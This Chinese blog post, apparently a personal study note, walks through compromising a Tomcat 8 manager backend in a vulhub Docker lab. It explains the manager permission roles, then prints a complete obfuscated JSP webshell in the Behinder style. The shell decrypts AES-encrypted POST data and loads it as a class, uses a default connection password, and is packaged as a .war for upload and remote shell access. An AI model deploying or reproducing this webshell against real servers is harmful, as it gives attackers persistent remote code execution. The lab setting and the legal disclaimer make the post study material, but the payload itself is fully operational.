简介

Tomcat 服务器是一个免费的开放源代码的Web 应用服务器,属于轻量级应用服务器,在中小型系统和并发访问用户不是很多的场合下被普遍使用,是开发和调试JSP 程序的首选。


本博客所有内容均为作者的个人学习笔记记录,作者也是小白一枚,如果有什么地方写的不对或者对您带来影响欢迎底部留言或者点击右下角的图标与我联系吧

本博客的所有Security 大类下的文章只能作为学习研究使用不可用于非法测试和攻击,请遵循网络安全法,共筑和谐网络

如果喜欢我的文章欢迎各位大佬点击右下角的订阅图标开启浏览器推送吧,这样你只要不清除浏览器缓存就能第一时间收到我的更新通知啦(如果你的网络如果能上Google就用Chrome浏览器订阅,如果不能推荐用微软的Edge浏览器,目前正在寻找解决办法,订阅成功后会有一条提示成功,如果未收到表示网络限制原因未订阅成功)

中华人民共和国网络安全法(2017年6月1日起施行) 第二十二条任何个人和组织不得从事入侵他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供从事入侵网络、干扰网络正常功能、窃取网络数据等危害网络安全活动的工具和制作方法;不得为他人实施危害网络安全的活动提供技术支持、广告、推广、支付结算等帮助。 第三十八条任何个人和组织不得窃取或者以其他非法方式获取公民个人信息,不得出售或者非法向他人提供公民个人信息 第六十三条违反本法规定,给他人造成损害的,依法承担民事责任 第六十四条违反本法规定,构成犯罪的,依法追究刑事责任 中华人民共和国刑法(285286) 第二百八十五条违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的处三年以下有期徒刑或者拘役 第二百八十六条违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役:后果特别严重的,处五年以上有期徒刑。违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚 中华人民共和国刑法修正案7(第九条) 在刑法第二百八十五条中增加两款作为第二款、第三款:“违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金:情节特别严重的,处三年以上七年以下有期徒刑,并处罚金提供专门用于侵入、非法控制计算机信息系统的程序、或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严依照前款的规定处罚。


Tomcat

启动

演示环境为Tomcat8

1
2
3
4
5
6
7
8
9
10
# 进入vulhub
cd vulhub-master
# 进入某一个漏洞/环境的目录
cd tomcat/tomcat8
# 自动化编译环境
docker-compose build
# 启动整个环境
docker-compose up -d
# 测试完成后,删除整个环境
docker-compose down -v

启动后登录

环境说明

Tomcat支持在后台部署war文件,可以直接将 webshe部署到web目录下。其中,欲访问后台,需要对应用户有相应权限。在conf/tomcat-users.xml文件中配置用户的权限Tomcat7+权限分为

  • manager(后台管理)
    • manager-gui拥有htm页面权限
    • manager- status拥有查看 status的权限
    • manager- script拥有text接口的权限,和 status权限
    • manager-jmx拥有jmx权限,和 status权限
  • host- manager(虚拟主机管理)
    • admin-gui拥有html页面权限
    • admin- script拥有text接口权限

配置文件查看

漏洞复现

上传一句话木马

将代码写入 shell.jsp 文件后 生成压缩包 .Zip文件后 修改后缀为 .war上传即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>

<%!class U extends ClassLoader{U(ClassLoader c){super(c);}

public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>

<%

if (request.getMethod().equals("POST")){

String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/

session.putValue("u",k);

String uploadString= request.getReader().readLine();

Cipher c=Cipher.getInstance("AES");

c.init(2,new SecretKeySpec(k.getBytes(),"AES"));

/*将sun.misc.Decoder转换成ASCII码*/

int[] aa=new int[]{115,117,110,46,109,105,115,99,46,66,65,83,69,54,52,68,101,99,111,100,101,114};

String ccstr="";

for (int i = 0;i<aa.length;i++)

{

ccstr=ccstr+(char)aa[i];

}

Class clazz = Class.forName(ccstr); //获取到 Class 对象,即sun.misc.Decoder

byte[] ss= (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), uploadString);

Object myLoader= new U(this.getClass().getClassLoader()).g(c.doFinal(ss)).newInstance();

myLoader.equals(pageContext);

}

%>

上传一句话木马

冰蝎连接

连接的密码由shell.jsp文件中配置提供的

冰蝎获取shell